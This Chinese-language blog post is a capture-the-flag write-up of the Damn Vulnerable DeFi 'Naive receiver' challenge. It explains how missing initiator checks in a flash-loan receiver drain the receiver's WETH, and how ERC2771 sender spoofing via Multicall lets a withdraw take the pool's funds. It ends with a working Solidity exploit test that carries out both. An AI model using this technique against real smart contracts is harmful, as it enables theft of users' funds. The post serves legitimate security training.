iT邦幫忙

2024 iThome 鐵人賽

DAY 5
0
Security

我也想成爲好駭客系列 第 5

Day 5 - Naive receiver_兄弟你太天真了

  • 分享至 

  • xImage
  •  

qu

There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.

A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.

All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.

Analyze WTF

題敘中有提到有用戶帳號、閃電貸底池以及一個恢復帳號,那我們要做的就是把所有的 WETH 轉移到恢復帳號裡面捲款潛逃,這題一共有 4 個合約,合約的內容如下:

  1. NaiveReceiverPool:有打過德州撲克的都知道,pool 就是底池,在這題中就是整個閃電貸的底池,也是就是題目中提到有 1000 WETH 的帳號
  2. FlashLoanReceiver:這個就是用戶接受閃電貸的帳號,也就是題目中提到的 10 WETH 的帳號
  3. BasicForwarder:用來執行合約用的
  4. Multicall:這是一個智能合約庫,主要是拿來優化用的,同時可以執行多個操作

合約的分析就差不多到這,接下來就是按部就班的把東西搬走,那我們先從 NaiveReceiver 開始

NaiveReceiver WTF

經過工人智慧分析,我們可以看到他的 onFlashLoan 有一點點問題

function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
    external
    returns (bytes32)
{
    assembly {
            // gas savings
        if iszero(eq(sload(pool.slot), caller())) {
            mstore(0x00, 0x48f5c3ed)
            revert(0x1c, 0x04)
        }
    }

    if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();

    uint256 amountToBeRepaid;
    unchecked {
        amountToBeRepaid = amount + fee;
    }

    _executeActionDuringFlashLoan();

        // Return funds to pool
    WETH(payable(token)).approve(pool, amountToBeRepaid);

    return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

東西基本上都是正常的,但是有一個很大的問題是它沒有針對"發起"閃電貸的地址做任何規範,所以理論上我們可以透過 NaiveReceiver 直接發起閃電貸,以及交易手續費的 1 WETH,直接發起 10 次閃電貸來轉移資金,好耶
https://ithelp.ithome.com.tw/upload/images/20240919/20163009QWwB3NxQZO.jpg

NaiveReceiverPool WTF

說實在這個合約有一點長,但是要找漏洞的話可以針對合約中對資金有任何存取的地方找,像是我們一開始可以看到有個 functionflashloan,但是其中的重點不多,我們可以繼續先往下看,接著就可以看到一個叫 withdrawfunction,而它有牽扯到另外下面的 _msgSender 這個裡面可以看的東西就很多了

function withdraw(uint256 amount, address payable receiver) external {
    // Reduce deposits
    deposits[_msgSender()] -= amount;
    totalDeposits -= amount;

        // Transfer ETH to designated receiver
    weth.transfer(receiver, amount);
}
function _msgSender() internal view override returns (address) {
    if (msg.sender == trustedForwarder && msg.data.length >= 20) {
        return address(bytes20(msg.data[msg.data.length - 20:]));
    } else {
        return super._msgSender();
    }
}

在看這兩個 function 之前,有一些先備知識需要補充

因為 withdraw 有用到 _msgSender(),如果呼叫是由 trustedForwarder 發起,所以就會使用 msg.data 的最後 20 字節作為發送者(ERC2771),如果是正常使用的話沒有問題,但是這個合約有 forwarderMulticall,雖然 msg.data 的最後 20 字可以拼接出正確的地址,但是在同時調用 Multicall 的情況下,我們可以偽造發送者的地址,那我們就可以巧立名目把 pool 裡面的 WETH 幹走了,好耶
https://ithelp.ithome.com.tw/upload/images/20240919/20163009QWwB3NxQZO.jpg

Solve WTF

分析完畢,統整一下我們接下來要做的:

  1. forwarder 合約來執行接下來的動作
  2. 使用 Multicall 並且調用 10 次閃電貸
  3. 調用 withdraw 並且改掉地址

一樣到 /damn-vulnerable-defi/src/naive-receiver
然後下面是錯誤範例,因為我不小心把 hash 過的東西塞錯地址XD
說實在爆炸的挺壯觀的
error

下面是我丟過去的測的 code,有參考一下別人的 writeup,因為我不會寫 Solidity QQ

function test_naiveReceiver() public checkSolvedByPlayer {
    // 定義需要的呼叫數組,總共 11 個呼叫
    bytes[] memory callDatas = new bytes[](11);
    // 構建前 10 次閃電貸款請求
    for (uint i = 0; i < 10; i++) {
        callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
    }
    // 最後一次呼叫,提取所有 WETH 到恢復地址
    callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
        bytes32(uint256(uint160(pool.feeReceiver())))
    );

    // 將所有呼叫編碼為一個 multicall
    bytes memory callData;
    callData = abi.encodeCall(pool.multicall, callDatas);
    // 構建元交易請求
    BasicForwarder.Request memory request = BasicForwarder.Request({
        from: player,
        target: address(pool),
        value: 0,
        gas: 30000000,
        nonce: forwarder.nonces(player),
        deadline: block.timestamp,
        data: callData
    });

    // 計算請求的哈希
    bytes32 requestHash = keccak256(
        abi.encodePacked(
            "\x19\x01",  // EIP-191 版本前綴
            forwarder.domainSeparator(),
            forwarder.getDataHash(request)
        )
    );
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
    bytes memory signature = abi.encodePacked(r, s, v);//<-嘿對就是這裡我塞錯
    forwarder.execute(request, signature);
}

再附上通過截圖
pass
每日梗圖(1/1)
navie


上一篇
Day 4 - Unstoppable_ 不要停下來啊
下一篇
Day 6 - Truster_我信你個錘子
系列文
我也想成爲好駭客13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言